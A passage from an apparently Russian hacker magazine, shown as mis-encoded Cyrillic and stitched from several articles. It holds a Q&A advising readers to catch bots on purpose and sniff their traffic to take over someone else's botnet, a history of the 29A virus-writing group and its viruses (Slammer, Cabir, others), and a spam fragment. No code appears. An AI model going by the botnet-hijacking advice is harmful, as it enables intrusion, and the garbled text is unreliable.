ñåðüåçíûé facelift äðóãîãî, óæå êîììåð÷åñêîãî, ðåäàê-
òîðà � UltraEdit (www.ultraedit.com). Ñòàë ïîñèìïàòè÷-
íåå è îáðîñ íîâûìè îïöèÿìè è íàñòðîéêàìè.

Q: ÕÕî÷ó ííàïèñàòü ññâîåãî ááîòà èè ííàó÷èòüñÿ ååãî ââïàðè-
âàòü. ÊÊàê ììîæíî ííàèáîëåå ääåòàëüíî èèçó÷èòü óóæå ããîòî-
âûå îîáðàçöû?
A: Êîíêðåòíûå èíñòðóêöèè íà ýòó òåìó ñòîÿò íåìà-
ëûõ äåíåã, ïîýòîìó òåáå ïðèäåòñÿ ñîîáðàæàòü ñà-
ìîìó. Ïåðâûì äåëîì ñîâåðøåííî ïîíÿòíî òåáå íà-
äî çàðàçèòüñÿ. Äëÿ ýòîãî íàäî ïîäíÿòü ñåòàï ñèñ-
òåìû íà òîì óðîâíå áåçîïàñíîñòè, êîòîðûé òåáÿ
èíòåðåñóåò. Ïîòîì íåîáõîäèìî óñòàíîâèòü ñîôò
äëÿ èçó÷åíèÿ HTTP-òðàôèêà, âûêëþ÷èòü âñå àíòè-
âèðóñû è anti-spyware ñîôò è îòïðàâèòüñÿ ñåðôèòü
ëåâûå ïîðíóøíûå ñàéòû, èñêàòü âàðåç, ëàçèòü ïî
ðàçíûì òðýøåâûì êàòàëîãàì è ò.ä. Âñå ñ îäíîé
öåëüþ: ïîäöåïèòü çàðàçó è íà÷àòü åå èçó÷àòü.
Ïåðâûì äåëîì, êîãäà ïî÷óåøü, ÷òî ïîäöåïèë òðîÿíà,
íóæíî ïîíÿòü, êàê èìåííî òû çàðàçèëñÿ. Äëÿ ýòîãî,
î÷åâèäíî, íàäî áóäåò âíèìàòåëüíî ïðîøòóäèðîâàòü
html-êîä çàðàçíîé ñòðàíèöû è ïîïðîáîâàòü îòûñêàòü
òàì ñïëîèò, êîòîðûé âëèë òåáå ãàäà.
Òàì, ïðè ïîìîùè ëþáîãî ñíèôåðà, óæå ìîæíî áó-
äåò ïîäñìîòðåòü, î ÷åì øåï÷åòñÿ çâåðåê ñî ñâîèì
èíòåðíåò-êîìàíäîâàíèåì, êàêîé èñïîëüçóåòñÿ ïðî-
òîêîë, è âîîáùå, êàêîãî ðîäà èíôîðìàöèþ ïåðåäà-
åò ïîëçó÷êà. Ïðè ïîìîùè ýòèõ äàííûõ òû íå òîëü-
êî ñìîæåøü ïåðåíÿòü ÷àñòü îïûòà, íî è ïîñòàðàòü-
ñÿ çàõâàòèòü ÷óæîé áîòíåò.
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óâëå÷åíèÿ Èíòåðíåòîì. Íî ãëàâíîå � ïðèø-
ëîñü ïîëíîñòüþ ïåðåñòðàèâàòüñÿ íà íîâóþ
Windows-ïëàòôîðìó, òàê êàê DOS ñ âûõîäîì
âèíäû ñòàë áûñòðî óñòàðåâàòü. Win32 ñòàëà
«íîâîé øêîëîé» äëÿ âèðóñìåéêåðîâ, îáÿçà-
òåëüíîé äëÿ èçó÷åíèÿ âñåìè, êòî ñîáèðàëñÿ
ïðîäîëæèòü ñîçäàâàòü âèðóñû.
97-é ãîä ñòàë ïåðåëîìíûì ýòàïîì äëÿ VX-ñöå-
íû. Ïåðèîä çàòèøüÿ çàêîí÷èëñÿ, è òàêèå ãðóï-
ïû, êàê iKx, SLAM, SVL, Stealth íà÷àëè àêòèâíî
ðåëèçèòü íîâûå âèðóñû è å-çèíû.
Ïîÿâèëîñü íåñêîëüêî íîâûõ ñàéòîâ äëÿ âèðóñìåé-
êåðîâ, ñâîåé ñòðàíè÷êîé îáçàâåëàñü è 29A. Ðàç-
ìåùàëàñü îíà ïî àäðåñó http://29A.islatortuga.com
è íàçûâàëàñü 29A Labs. Òàêæå â ðåçóëüòàòå äîë-
ãèõ ïîñèäåëîê â IRC, ñíà÷àëà íà EFNet, ïîòîì íà
ëîêàëüíîì èñïàíñêîì ñåðâåðå, ó÷àñòíèêè ãðóïïû
ïîçíàêîìèëèñü ñ íîâûìè òàëàíòëèâûìè êîäåðà-
ìè, íåêîòîðûå èç êîòîðûõ ïðèñîåäèíèëèñü ê 29A.
Ïîÿâèëèñü ìåìáåðû èç Äàíèè (Darkman), Âåëè-
êîáðèòàíèè (Rajaat), Áðàçèëèè (Vecna), Êàíàäû
(Reptile) è äàæå Ïåðó (Jacky Qwerty).
Ïîìèìî ïîñòîÿííîãî ñîñòàâà, êîòîðûé äîëæåí
áûë àêòèâíî ïðèíèìàòü ó÷àñòèå â íàïîëíåíèè
æóðíàëà è ïåðèîäè÷åñêè âûïóñêàòü íîâûå âèðè
ïîä ëåéáëîì 29A, ãðóïïà çàïîëó÷èëà íåñêîëü-
êî âíåøòàòíûõ äðóçåé. Îò íèõ íå òðåáîâàëè àê-
òèâíîñòè, íî îíè ïåðèîäè÷åñêè â äîáðîâîëü-
íîì ïîðÿäêå ïðåäîñòàâëÿëè ãðóïïå ñâîè íàðà-
áîòêè, è èõ èëè ïå÷àòàëè â å-çèíå, èëè âûêëà-
äûâàëè íà ñàéò.
Â 1997 ãîäó âïåðâûå ïîÿâèëèñü óïîìèíàíèÿ î
29A â ïå÷àòíîé ïðåññå. Â ñàìîì ïîïóëÿðíîì
èñïàíñêîì êîìïüþòåðíîì æóðíàëå PCMania
îïóáëèêîâàëè áîëüøóþ ñòàòüþ íà 4 ñòðàíèöû î
âèðóñíîé ñöåíå, è â ÷àñòíîñòè î ãðóïïå 29A.
×óòü ïîçæå òàì æå âûøåë ïîäðîáíûé îáçîð âè-
ðóñà Torero, íàïèñàííîãî Mr. Sandman. Õîòÿ
ìåìáåðàì íå çàïðåùàëîñü ñîçäàâàòü äåñòðóê-
òèâíûé êîä, ñëó÷àè âûïóñêà çëîâðåäíûõ âèðó-
ñîâ â Ñåòü ñòàðàëèñü ñâîäèòü ê ìèíèìóìó. Êîã-
äà â îäíîì èç èíòåðâüþ Mr. Sandman'à ñïðîñè-
ëè, ïî÷åìó îí ïèøåò âèðóñû, àâòîð ñðàâíèë ñå-
áÿ ñ ïîýòàìè è õóäîæíèêàìè. «ß ïðîñòî òâî-
ðþ». Ê âèðóñàì îòíîñèëèñü, êàê ê ïðîèçâåäåíè-
ÿì èñêóññòâà, è íåêîòîðûå ñîçäàíèÿ ðåáÿò èç
29A äåéñòâèòåëüíî èìè áûëè.
Íåñìîòðÿ íà òî, ÷òî îñíîâíîå îáùåíèå ïðîèñ-
õîäèëî íà IRC, 29A ïåðèîäè÷åñêè îðãàíèçîâû-
âàëà ðèàëëàéôîâûå âñòðå÷è. Ïåðâîé òàêîé
âñòðå÷åé ñòàëà òóñîâêà â Ìàäðèäå, êîòîðàÿ èç-
íà÷àëüíî ïëàíèðîâàëàñü êàê ÷èñòî 29A-ïàòè.
Íåêîòîðûå ìåìáåðû èç äðóãèõ ñòðàí, êîòîðûå
îáåùàëè ïîó÷àñòâîâàòü, ïî ðàçíûì ïðè÷èíàì

Â 1991 ÃÎÄÓ ÍÀ VX HEAVEN, ÑÀÌÎÌ
ÏÎÑÅÙÀÅÌÎÌ ÑÀÉÒÅ, ÏÎÑÂßÙÅÍ-
ÍÎÌ ÊÎÌÏÜÞÒÅÐÍÛÌ ÂÈÐÓÑÀÌ,
ÎÁÚßÂÈËÎÑÜ ÃÎËÎÑÎÂÀÍÈÅ. ÏÎ-
ÑÅÒÈÒÅËßÌ ÏÐÅÄËÀÃÀËÎÑÜ ÎÏÐÅ-
ÄÅËÈÒÜ ËÓ×ØÓÞ ÂÈÐÓÑÍÓÞ ÃÐÓÏ-
ÏÓ, ËÓ×ØÅÃÎ ÑÎÇÄÀÒÅËß ÂÈÐÓ-
ÑÎÂ, ËÓ×ØÈÉ ÂÈÐÓÑÍÛÉ ÆÓÐÍÀË
È ÍÅÊÎÒÎÐÛÅ ÄÐÓÃÈÅ ÂÅÙÈ. 
ÂÛÁÎÐ ÌÍÎÃÈÕ Â ÃËÀÂÍÎÉ ÍÎÌÈ-
ÍÀÖÈÈ ÁÛË ÎÄÍÎÇÍÀ×ÍÛÌ �
ÃÐÓÏÏÀ 29A. ËÓ×ØÈÌ ÂÈÐÓÑÌÅÉÊÅ-
ÐÎÌ ÑÒÀË ÅÅ ÌÅÌÁÅÐ, ËÓ×ØÈÌ

ÆÓÐÍÀËÎÌ � ÅÅ E-ZINE. ÍÀ ÏÐÎÒß-
ÆÅÍÈÈ ÄÎËÃÎÃÎ ÂÐÅÌÅÍÈ 29A 
ÁÛËÀ ÝËÈÒÀÐÍÎÉ ÊÎÌÀÍÄÎÉ, ÑÎÑ-
ÒÎßÙÅÉ ÒÎËÜÊÎ ÈÇ ËÓ×ØÈÕ ÊÎÄÅ-
ÐÎÂ. ×ËÅÍÛ ÃÐÓÏÏÛ ÂÛÏÓÑÒÈËÈ
ÑÎÒÍÈ ÂÈÐÓÑÎÂ, ÌÍÎÃÈÅ 
ÈÇ ÊÎÒÎÐÛÕ ÑÒÀËÈ ÐÅÂÎËÞÖÈÎÍ-
ÍÛÌÈ. 29A ÏÎ-ÏÐÅÆÍÅÌÓ ÀÊÒÈÂÍÀ
È ÏÐÎÄÎËÆÀÅÒ ÑÎÇÄÀÂÀÒÜ ÍÎÂÛÅ
ÖÈÔÐÎÂÛÅ ÔÎÐÌÛ ÆÈÇÍÈ, À Â
ÑËÅÄÓÞÙÅÌ ÃÎÄÓ ÃÎÒÎÂÈÒÑß
ÎÒÏÐÀÇÄÍÎÂÀÒÜ ÑÂÎÉ 10-ËÅÒÍÈÉ
ÞÁÈËÅÉ | mindw0rk (mindw0rk@gameland.ru)

[ñòàíîâëåíèå] Â ñåðåäèíå 90-õ Èíòåðíåò 
â Èñïàíèè áûë äîñòóïåí òîëüêî íåêîòîðûì óíè-
âåðñèòåòàì, íàó÷íûì îðãàíèçàöèÿì è êîììåð-
÷åñêèì êîìïàíèÿì. Îáû÷íûå êîìïüþòåðùèêè
äîâîëüñòâîâàëèñü BBS è Fidonet. Âïðî÷åì, æà-
ëîâàòüñÿ èì íå ïðèõîäèëîñü, âåäü íà áîðäàõ è â
êîíôåðåíöèÿõ áûëî íàìíîãî ïðîùå íàéòè
«áðàòüåâ ïî ðàçóìó». Îñîáåííî òåì, ó êîãî åñòü
òàêîå ñòðàííîå è ñïåöèôè÷íîå óâëå÷åíèå, êàê
êîìïüþòåðíûå âèðóñû. Öåíòðîì îáùåíèÿ òàêèõ
ëþäåé áûëà èñïàíñêàÿ ôèäîøíàÿ êîíôà, åäèí-
ñòâåííàÿ â ñâîåì ðîäå. Íàðîä òàì äåëèëñÿ ñâî-
èì îïûòîì, èäåÿìè è èñõîäíèêàìè. Îäíî áûëî
ïëîõî � êîíôåðåíöèåé çàïðàâëÿë ìîäåðàòîð,
êîòîðûé ïîñòîÿííî óñòàíàâëèâàë íîâûå ïðàâè-
ëà è íåðåäêî áàíèë òåõ, êòî ó÷àñòâîâàë â îáñóæ-
äåíèè çëîâðåäíûõ àëãîðèòìîâ. Íåâàæíî, â èñ-
ñëåäîâàòåëüñêèõ öåëÿõ èëè äëÿ ïîèñêà çàùèòû
îò íèõ. Â êîíöå 1995 ãîäà äâóì ïîñòîÿííûì
ó÷àñòíèêàì VirusBuster è Gordon Shumway âñå
ýòè îãðàíè÷åíèÿ íàäîåëè, è îíè ðåøèëè ñîçäàòü
ñâîþ BBS Dark Node, â êîòîðîé ñâîáîäíîå îá-
ñóæäåíèå âèðóñíûõ òåõíîëîãèé áóäåò íå òîëüêî
íå çàïðåùàòüñÿ, íî âñÿ÷åñêè ïðèâåòñòâîâàòüñÿ.
Íà áîðäó ïåðåøëè åùå íåñêîëüêî ÷åëîâåê, íå-
äîâîëüíûõ ïîëèòèêîé ìîäåðàòîðà, à Virus Buster
ëè÷íî ïðèãëàñèë ëþäåé, êîòîðûõ ñ÷èòàë ñïåöèà-
ëèñòàìè ïî âèðóñàì. Dark Node ñîáðàëà ëó÷øèõ
VX-êîäåðîâ Èñïàíèè, è íà íåé êàæäûé äåíü øëè
ãîðÿ÷èå îáñóæäåíèÿ ïî ñîçäàíèþ âèðåé, ñîâìå-

ñòíûé àíàëèç êîäà è ïîèñê áàãîâ â àíòèâèðóñàõ.
Ñî âðåìåíåì áàçà çíàíèé íàêàïëèâàëàñü, è Mr.
Sandman, îäèí èç òàëàíòëèâûõ êðýêåðîâ íà
BBS, ðåøèë, ÷òî áûëî áû íåïëîõî ïîäåëèòüñÿ
èíôîðìàöèåé ñ îñòàëüíûìè. Ïîýòîìó îí ñîçäàë
âèðóñíûé ýëåêòðîííûé æóðíàë.
Â ýòî âðåìÿ ìåæäóíàðîäíàÿ VX-ñöåíà ïåðåæè-
âàëà íå ëó÷øèå âðåìåíà. Ìíîãèå àâòîðèòåòíûå
ãðóïïû, òàêèå êàê Thus, Qark, Quantum, SVL óø-
ëè ñî ñöåíû, èñ÷åçëà èçâåñòíàÿ Dark Conspiracy,
õîòÿ ÷àñòü åå ìåìáåðîâ îñíîâàëà íîâóþ ãðóïïó,
íåêîòîðûå êîëëåêòèâû îáúåäèíèëèñü, ÷òîá íå
ðàçâàëèòüñÿ îêîí÷àòåëüíî. À åäèíñòâåííûì ïî-
ïîëíåíèåì íà ñìåíó óõîäÿùèì ñòàðè÷êàì ñòàëà
Computa Gangsta, e-zine DHC êîòîðîé íå ïîëó-
÷èë áîëüøîãî ïðèçíàíèÿ.
Ê òîìó âðåìåíè, êàê íà÷àëàñü ðàáîòà íàä æóð-
íàëîì, òóñîâêà èç Dark Node BBS îôèöèàëüíî
ñòàëà ãðóïïîé 29A (â êîìïüþòåðíîé êîäèðîâêå
«666»). Ïàðíè íå ïðîñòî õîòåëè ñîçäàòü î÷åðåä-
íîé e-zine, æóðíàë äîëæåí áûë ñòàòü îïëîòîì
ñöåíû è â êàæäîì áàéòå íåñòè ïîëåçíóþ èíôîð-
ìàöèþ. Ïîýòîìó âûïóñê 29A zine çàòÿíóëñÿ íà
öåëûé ãîä. Çàäåðæêó âûçâàë è òîò ôàêò, ÷òî
áîëüøèíñòâî ìåìáåðîâ ãðóïïû óñïåëè îáçàâåñ-
òèñü äîñòóïîì â èíåò è êó÷ó âðåìåíè óáèâàëè 
â IRC, îáùàÿñü íà ïðîãðàììåðñêèõ è âèðóñíûõ
êàíàëàõ. Íàêîíåö 13 äåêàáðÿ 1996 ãîäà ñîñòîÿë-
ñÿ ðåëèç æóðíàëà. Ïåðâûé íîìåð âêëþ÷àë â ñå-
áÿ íåñêîëüêî òóòîðèàëîâ ïî ïîëèìîðôíûì è
ìàêðî-âèðóñàì, ðóêîâîäñòâî ïî îòêëþ÷åíèþ àí-
òèâèðåé, äèçàññåìáëèðîâàííûé êîä èíòåðåñíûõ
âèðóñîâ (Zhengxi, V.6000) è, êîíå÷íî, èñõîäíèêè
çâåðüêîâ, íàïèñàííûõ ÷ëåíàìè 29A. Ïîëèòèêà
ãðóïïû ñ ñàìîãî ðîæäåíèÿ áûëà ÷åòêîé � 
íå âûïóñêàòü â ñâåò äåñòðóêòèâíûå îðãàíèçìû,
ïîýòîìó â âèðÿõ, îïóáëèêîâàííûõ â æóðíàëå,
ñòàâêà äåëàëàñü íà îðèãèíàëüíîñòü è íîâèçíó, íè-

êàêîãî âðåäà îíè íàíåñòè íå ìîãëè.
Íåëüçÿ ñêàçàòü, ÷òî 29A zine âûç-
âàë ôóðîð íà VX-ñöåíå, íî æóðíàë
ñòàë ñîáûòèåì è ñ èíòåðåñîì èçó-
÷àëñÿ âñåìè àêòèâíûìè âèðóñìåé-
êåðàìè. Îäíîâðåìåííî ñ èíòåðå-
ñîì ê æóðíàëó ïîÿâèëñÿ èíòåðåñ ê
ãðóïïå, êîòîðàÿ åãî âûïóñêàëà.

[äàëüíåéøåå ðàçâèòèå] Âòî-
ðîé íîìåð 29A æäàëè äîëãî, áîëü-
øå ãîäà (âîîáùå, âûïóñêàòü ïî
æóðíàëó â ãîä ñòàëî ñâîåãî ðîäà
òðàäèöèåé). Íà ýòîò ðàç çàäåðæêà
ïðîèçîøëà èç-çà ðåñòðóêòóðèçà-
öèè ãðóïïû, îáÿçàòåëüíîé âîåííîé
ñëóæáû ó íåêîòîðûõ ìåìáåðîâ èÞ
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Èñòîðèÿ ãðóïïû 29A

Êîðîëè VVX-ññöåíû

êîìïüþòåð, íà êîòîðîì ðàáîòàëà Dark Node BBS

ëîãîòèï 29A
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íå ïîÿâèëèñü, è ê 29A ïðèñîåäèíèëèñü íåñêîëü-
êî çíàêîìûõ âèðóñìåéêåðîâ. Åäèíñòâåííûì
íåèñïàíñêèì ñöåíåðîì íà ïàòè áûë Spanska,
ïðèåõàâøèé èç Ôðàíöèè. Âñòðå÷à ïðîõîäèëà
ñíà÷àëà â ðåñòîðàíå, ãäå ïàðíè çà îáåäîì ïî-
îáùàëèñü, ïîòîì â èíòåðíåò-êàôå, ãäå ñîñòîÿ-
ëàñü øóìíàÿ IRC-ñåññèÿ, à çàêîí÷èëàñü â áàðå
â öåíòðå Ìàäðèäà, ãäå ïàðíè ïîïðîáîâàëè ñîâ-
ìåñòíî íàïèñàòü âèðóñ. Ñëåäóþùàÿ òóñîâêà
áûëà ÷åðåç ãîä, òåïåðü óæå â Àìñòåðäàìå.
Ñ êàæäûì ãîäîì æóðíàë 29A ñòàíîâèëñÿ âñå
îáúåìíåå. Ñ 4 âûïóñêà â íåì ïîÿâèëàñü íîâàÿ
Windows-îáîëî÷êà íà ñìåíó ñòàðîé äîñîâñêîé.
Ïîÿâèëèñü íîâûå ïîñòîÿííûå ðóáðèêè: íîâîñòè,
èíòåðâüþ, ïðèâåòû, îáçîð âèðóñíûõ ðåñóðñîâ,
ðàçìûøëåíèÿ î VX-ñöåíå. Êàæäûé íîìåð òàêæå
âêëþ÷àë äåñÿòêè VX-óòèëèò è èñõîäíèêîâ âèðó-
ñîâ, íàïèñàííûõ 29A è äðóãèìè ãðóïïàìè. Òàê
êàê áîëüøèíñòâî äðóãèõ âèðóñíûõ æóðíàëîâ
óìèðàëè ïîñëå ïåðâîãî æå âûïóñêà, êîíêóðåí-
òîâ ó 29A zine íå áûëî è, ïîäîáíî Phrack'ó äëÿ
õàêåðîâ, îí ñòàë áèáëèåé äëÿ âèðóñìåéêåðîâ
âñåãî ìèðà. À æèçíü ñàìîé ãðóïïû 29A áûëà íå-
îòðûâíî ñâÿçàíà ñ èçäàíèåì æóðíàëà.
Ïîñëå âûõîäà ïå÷àëüíî èçâåñòíîãî ÷åðâÿ Code
Red â 2001 ãîäó âîêðóã 29A ïîäíÿëñÿ ñêàíäàë.
Ìíîãèå ïðèïèñûâàëè àâòîðñòâî èìåííî èì, òàê
êàê äâîå õàêåðîâ èç Íèäåðëàíä, îáúÿâèâøèå î
òîì, ÷òî ýòî èõ äåòèùå, ïðè÷èñëèëè ñåáÿ ê ìåì-
áåðàì 29A. Øóìèõà íå óòèõëà äàæå ïîñëå òîãî,
êàê íà îôèöèàëüíîì ñàéòå 29A áûëî îïóáëèêî-
âàíî îïðîâåðæåíèå, ãäå ãîâîðèëîñü, ÷òî â ãðóï-
ïå íåò ëþäåé èç Íèäåðëàíäîâ, è õàêåðû ïðîñòî
õîòåëè ñêîìïðîìåòèðîâàòü ãðóïïó.
Íà ïðîòÿæåíèå 90-õ ãîäîâ è âïëîòü äî íàøèõ
äíåé ñîñòàâ ãðóïïû ïîñòîÿííî ìåíÿëñÿ. Èç 29A
ñî âðåìåíåì óøëî áîëüøèíñòâî ðàííèõ ìåìáå-
ðîâ. Øëè ãîäû, è ïðèõîäèëîñü äóìàòü î ïðîôåñ-

ñèè, ñåìüå, îñòàâèâ ñâîþ ñòðàñòü äëÿ ïðîøëîãî.
Íåêîòîðûå ïðîäîëæèëè çàíèìàòüñÿ âèðóñàìè,
íî óæå ñ äðóãîé ñòîðîíû � ðàáîòàÿ íà àíòèâè-
ðóñíûå êîìïàíèè è ðàçðàáàòûâàÿ íîâûå çàùèò-
íûå àëãîðèòìû. Íåêîòîðûå íàâñåãäà îñòàâèëè
ñöåíó è ñòàëè çàíèìàòüñÿ ñîâñåì äðóãèìè âå-
ùàìè. Íà èõ ñìåíó ïðèõîäèëè íîâûå ëþäè, êî-
òîðûå ïðîäîëæàëè âûïóñêàòü æóðíàë.

[èçâåñòíûå âèðóñû îò 29A] Ìåìáåðû ãðóï-
ïû 29A ñîçäàëè áîëåå ñîòíè ñàìûõ ðàçíûõ âèðó-
ñîâ. Ñàìûå èíòåðåñíûå áûëè îïóáëèêîâàíû â
æóðíàëå, îñòàëüíûå îñåëè èëè íà BBS è FTP, èëè
âèíòàõ ñâîèõ ñîçäàòåëåé. Íî íåñêîëüêî èõ âèðåé
ñòîèò âûäåëèòü îñîáåííî. Òàê êàê áëàãîäàðÿ èì î
29A óçíàë âåñü êîìïüþòåðíûé ìèð.
EEssppeerraannttoo
Ïåðâûå ñâåäåíèÿ îá ýòîì âèðóñå ïîÿâèëèñü â íî-
ÿáðå 1997 ãîäà. Ýñïåðàíòî ñîçäàâàëñÿ êàê ïåð-
âûé ìóëüòèïëàòôîðìåííûé âèðóñ, ñïîñîáíûé
çàðàæàòü ìàøèíû, ðàáîòàþùèå ïîä DOS,
Windows è Mac OS. Íî, íåñìîòðÿ íà ãðàíäèîçíûé
çàìûñåë, ïîïûòêà îêàçàëàñü íåóñïåøíîé. Â êî-
äå âèðÿ ñîäåðæàëèñü áàãè, íå ïîçâîëÿþùèå åìó
ðàñïðîñòðàíÿòüñÿ ìåæäó PC è êîìïüþòåðàìè
Apple. Ýñïåðàíòî ñòàë îäíèì èç ñàìûõ ñëîæíûõ
âèðóñîâ â èñòîðèè, è ïîäâèã àâòîðà Mr. Sandman
óäàëîñü ïîâòîðèòü íåìíîãèì âèðóñìåéêåðàì.
SSllaammmmeerr
Ñêàíäàëüíî èçâåñòíûé ÷åðâü, íàïèñàííûé â
2003 ãîäó ýêñ-ìåìáåðîì 29A Benny è âûçâàâ-
øèé íåñêîëüêî ëåò íàçàä íàñòîÿùóþ ýïèäåìèþ
â Èíòåðíåòå. Çàðàæàåò ñåðâåðû, ðàáîòàþùèå
ïîä Microsoft SQL Server 2000. Ïîñëå ïîïàäà-
íèÿ íà êîìïüþòåð íåïðåðûâíî îòñûëàåò ñâîé
êîä ÷åðåç ïîðò 1434 íà ñëó÷àéíûå ìàøèíû â
Ñåòè è çàïóñêàåò åãî ñàìîñòîÿòåëüíî, èñïîëü-
çóÿ îøèáêó â SQL. Çàíèìàåò âñåãî 376 áàéò è

æèâåò òîëüêî â ïàìÿòè êîìïüþòåðà, íå îñòàâ-
ëÿÿ êîïèé íà âèíòå. Èçìåíåíèé â ñèñòåìå íèêà-
êèõ íå äåëàåò, íî ñèëüíî çàìåäëÿåò ñåòåâóþ
ðàáîòó è ðàáîòó êîìïüþòåðà â öåëîì. 1 äåêàá-
ðÿ ÷åøñêàÿ ïîëèöèÿ àðåñòîâàëà àâòîðà, êîòî-
ðûé ê ýòîìó âðåìåíè óæå óøåë èç ãðóïïû è ðà-
áîòàë íà àíòèâèðóñíóþ êîìïàíèþ Zoner
Software. Benny ïðèçíàëñÿ, ÷òî äåéñòâèòåëüíî
íàïèñàë Slammer, íî íèêîãäà íå çàïóñêàë åãî 
â Ñåòü. Îí òîëüêî âûëîæèë èñõîäíèêè äëÿ îç-
íàêîìëåíèÿ, êîòîðûå êòî-òî ñêîìïèëèðîâàë, 
è âûïóñòèë ÷åðâÿ â ñâîáîäíîå ïëàâàíüå.
CCaabbiirr
Äàòîé ðîæäåíèÿ ýòîãî ÷åðâÿ÷êà ìîæíî ñ÷èòàòü
14 èþíÿ 2004 ãîäà, êîãäà Vallez/29A îòîñëàë
ñâîå äåòèùå íà àíàëèç àíòèâèðóñíûì êîìïàíè-
ÿì. Cabir � ïåðâûé ÷åðâü äëÿ ìîáèëüíûõ òåëå-
ôîíîâ, ðàáîòàþùèõ ïîä Symbian OS. Ðàñïðîñò-
ðàíÿåòñÿ îí, ìàñêèðóÿñü ïîä çàùèòíóþ óòèëèòó
Caribe Security Manager, è ïîñëå òîãî, êàê þçåð
ñîãëàøàåòñÿ ïðèíÿòü ôàéë, çàðàæàåò ñèñòåìó.
Ïîñëå ýòîãî íà äèñïëåå òåëåôîíà ïîÿâëÿåòñÿ
íàäïèñü Cabir, êîòîðóþ òàêæå ìîæíî óâèäåòü
ïðè êàæäîì âêëþ÷åíèè ìîáèëüíèêà. Ñëåäóþ-
ùèì ýòàïîì ñòàíîâèòñÿ ïîèñê äðóãèõ òåëåôî-
íîâ â ðàäèóñå äåéñòâèÿ ñèãíàëîâ Bluetooth, è
åñëè òàêîé òåëåôîí íàõîäèòñÿ (îí äîëæåí ðà-
áîòàòü ïîä Symbian), òî îòñûëàåò ñâîþ êîïèþ
íà íåãî. Â îòëè÷èå îò ïèñèøíûõ ñîáðàòüåâ,
Cabir ïðåêðàùàåò ïîïûòêè çàðàæåíèÿ, åñëè
þçåð îòêàæåòñÿ ïðèíèìàòü ôàéë. Àíòèâèðóñ-
íûå êîìïàíèè ðàñöåíèëè ÷åðâÿ êàê íåîïàñíîãî.
Âïîñëåäñòâèè âûøëî íåñêîëüêî ìîäèôèêàöèé
Cabir'à ïîä öèôðàìè .b, .c, è .d, èìåþùèõ íåçíà-
÷èòåëüíûå èçìåíåíèÿ â êîäå, ÷òîáû îáîéòè çàï-
ëàòêè íà òåëåôîíû äëÿ áîëåå ðàííèõ âåðñèé.
WWiinnCCEE..DDuuttss
Ïåðâûé èçâåñòíûé âèðóñ äëÿ PocketPC, ïðåäñ-
òàâëåííûé Ratter/29A â èþëå 2004 ãîäà. Âèðóñ äî-
âîëüíî ïðîñòîé, çàðàæàåòñÿ ÷åðåç çàïóñê ôàéëà
è èíôèöèðóåò ARM-äåâàéñû. Èíòåðåñíî, ÷òî çâå-
ðåê äàæå ïåðåñïðàøèâàåò þçåðà: «Ìíå äåéñòâè-
òåëüíî ìîæíî ðàñïðîñòðàíÿòüñÿ? Äà/Íåò», è
ïðèñòóïàåò ê ðàáîòå ïîñëå ïîëîæèòåëüíîãî îòâå-
òà. Duts îòíîñèòñÿ ê áåçâðåäíûì âèðÿì è, ïðèê-
ðåïëÿÿ ñåáÿ êî âñåì íåçàðàæåííûì ýêçåøíèêàì,
íå âíîñèò íèêàêèõ èçìåíåíèé â ñèñòåìó.
Íàïîñëåäîê õî÷ó äàòü ñïèñîê ëþäåé, êîòîðûå â
ðàçíûå âðåìåíà ñîñòîÿëè â ãðóïïå 29A è ñäåëà-
ëè îïðåäåëåííûé âêëàä â ðàçâèòèå VX-ñöåíû:
Mr. Sandman, Òcp, Anibal Lecter, AVV, Blade
Runner, Gordon Shumway, Griyo, Leugim San,
Mr. White, Jacky Qwerty, VirusBuster, Wintermute,
The Slug, Vecna, Darkman, Heuristic, Rajaat,
Reptile, Super, Sopinky, The Mental Driller,
Zombie, Benny, Bumblebee, LethalMind, Lord
Julus, Prizzy, Mandragore, Whale
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[áîðüáà ñî ñïàìîì] Â ÑØÀ ðàññûëêà ñïàìà
íàðóøàåò ïîëüçîâàòåëüñêîå ñîãëàøåíèÿ ïðàê-
òè÷åñêè âñåõ ïðîâàéäåðîâ è ìîæåò ïðèâåñòè ê
îòêëþ÷åíèþ. Òàê æå â Àìåðèêå ñ äåêàáðÿ
22000033 ãîäà äåéñòâóåò CAN-SPAM Act, â êîòî-
ðîì ïðîïèñàíû ñòàíäàðòû è îãðàíè÷åíèÿ íà
ðàññûëêó êîììåð÷åñêèõ ñîîáùåíèé. Åñëè òû
ñîáèðàåøüñÿ çàíèìàòüñÿ òàêîé ðàññûëêîé, òî
äîëæåí ïîëó÷èòü ðàçðåøåíèå ó Ôåäåðàëüíîé
Òîðãîâîé Êîìèññèè. Õîòÿ ñïåöèàëèñòû ñ÷èòàþò
àêò íåýôôåêòèâíûì è äàæå ïðèïèñàëè åìó íî-
âîå íàçâàíèå: You CAN-SPAM (òû ìîæåøü ñïà-
ìèòü). Çà ïîñëåäíèå ãîäû ñïàì ïðèíÿë óãðîæà-
þùèå ìàñøòàáû, è íà áîðüáó ñ íèì âûñòóïèëè
ìíîãèå êðóïíûå êîìïàíèè, âêëþ÷àÿ Google è
Microsoft. Íà îäíîé èç ïðåññ-êîíôåðåíöèé Áèëë
Ãåéòñ ïîîáåùàë èñêîðåíèòü ñïàì â Èíòåðíåòå â
òå÷åíèå äâóõ ëåò, õîòÿ ïîêà íå ÿñíî, êàêèì îáðà-
çîì ýòî áóäåò îñóùåñòâëåíî. Ñåé÷àñ Microsoft
çàíèìàåòñÿ ïîèñêîì îñíîâíûõ èñòî÷íèêîâ ñïà-
ìà è áîðåòñÿ ñ íèìè â ñóäåáíîì ïîðÿäêå. Ñâîþ
ëåïòó âíîñÿò è ïðîâàéäåðû, ÷åðåç êîòîðûõ ïðî-
õîäèò èçðÿäíàÿ äîëÿ ðåêëàìíîãî òðàôèêà, íî
ñäåëàòü îíè ìîãóò íåìíîãî. Äà, åñòü ôèëüòðû,
íî áîëüøèíñòâî ñïàìà îíè íå çàäåðæèâàþò, à
åñëè ñäåëàòü âûáîðêó åùå æåñò÷å, òî âìåñòå ñ
òðýøåì áóäóò óäàëÿòüñÿ îáû÷íûå ïèñüìà, ÷òî
äëÿ ìíîãèõ ëþäåé õóæå, ÷åì âûãðåáàòü ïî 220000
ðåêëàìíûõ ñîîáùåíèé â äåíü.
Ñïåöèàëüíî äëÿ áîðüáû ñî ñïàìåðàìè áûëà èçîá-
ðåòåíà ñèñòåìà captcha. Òàê êàê äëÿ îòïðàâêè áîëü-
øîãî êîëè÷åñòâà ìåññàã â 90-õ ãîäàõ ñïàìåðó íóæ-
íî áûëî èìåòü êó÷ó ìûëüíûõ àêêàóíòîâ, èõ ïà÷êà-
